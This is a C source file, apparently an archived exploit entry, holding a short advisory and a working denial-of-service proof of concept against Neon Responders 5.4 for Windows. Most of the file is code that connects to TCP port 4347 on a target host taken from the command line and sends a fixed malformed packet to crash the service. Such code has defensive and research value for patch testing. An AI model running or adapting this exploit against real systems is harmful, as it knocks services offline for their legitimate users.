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111 lines
No EOL
2.7 KiB
C
111 lines
No EOL
2.7 KiB
C
// source: https://www.securityfocus.com/bid/17569/info
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Neon Responders is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle malformed network packets.
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This issue allows remote attackers to crash the affected application, denying further service to legitimate users.
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Version 5.4 of Neon Responders for Windows is vulnerable to this issue; other versions may also be affected.
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/* Stefan Lochbihler*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <winsock2.h>
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#pragma comment(lib,"ws2_32")
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#define PORT 4347
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char CLOCK_MSG [] =
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"\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84"; //Password = ""
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void usage (char*);
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void endpgr (char *,SOCKET, char*);
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unsigned long gethost (char *);
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int main(int argc, char *argv[])
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{
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WSADATA wsa;
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SOCKET client;
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sockaddr_in peer;
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WORD wsVersion;
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char sendbuffer[16]="";
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char recvbuffer[16]="";
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unsigned long host=0;
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int err=0;
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if(argc<2)
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usage(argv[0]);
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printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~\n\n");
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if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0)
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{
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printf("WSAStartup() fail\n");
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exit(0);
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}
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printf("%s:[+] Try to create socket\n",argv[0]);
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client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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if(client==INVALID_SOCKET)
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endpgr(argv[0],client,"[-] socket() fail");
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printf("%s:[+] Lookup host\n",argv[0]);
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if(!(host=gethost(argv[1])))
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endpgr(argv[0],client,"[-] host not found !");
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peer.sin_family = AF_INET;
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peer.sin_port = htons(PORT);
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peer.sin_addr.s_addr = host;
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printf("%s:[+] Connect to %s\n",argv[0],argv[1]);
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err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in));
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if(err)
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endpgr(argv[0],client,"[-] connect() fail");
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memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG));
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printf("%s:[+] Try to send packet\n",argv[0]);
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err=send(client,sendbuffer,sizeof(sendbuffer),0);
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err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0);
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endpgr(argv[0],client,"[+] End successfully");
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return 0;
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}
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void usage(char *pgrname)
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{
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printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");
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printf("%s: <Targethost>\n",pgrname);
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exit(0);
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}
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void endpgr (char *pgrname, SOCKET client,char *msg)
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{
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printf("%s:%s\n",pgrname,msg);
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WSACleanup();
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closesocket(client);
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exit(0);
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}
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unsigned long gethost(char *targethost)
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{
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unsigned long host=0;
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hostent *phost=NULL;
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host=inet_addr(targethost);
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if(host==INADDR_NONE)
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{
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if((phost=gethostbyname(targethost))==NULL)
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return 0;
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host=*(unsigned long*)phost->h_addr;
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}
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return host;
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} |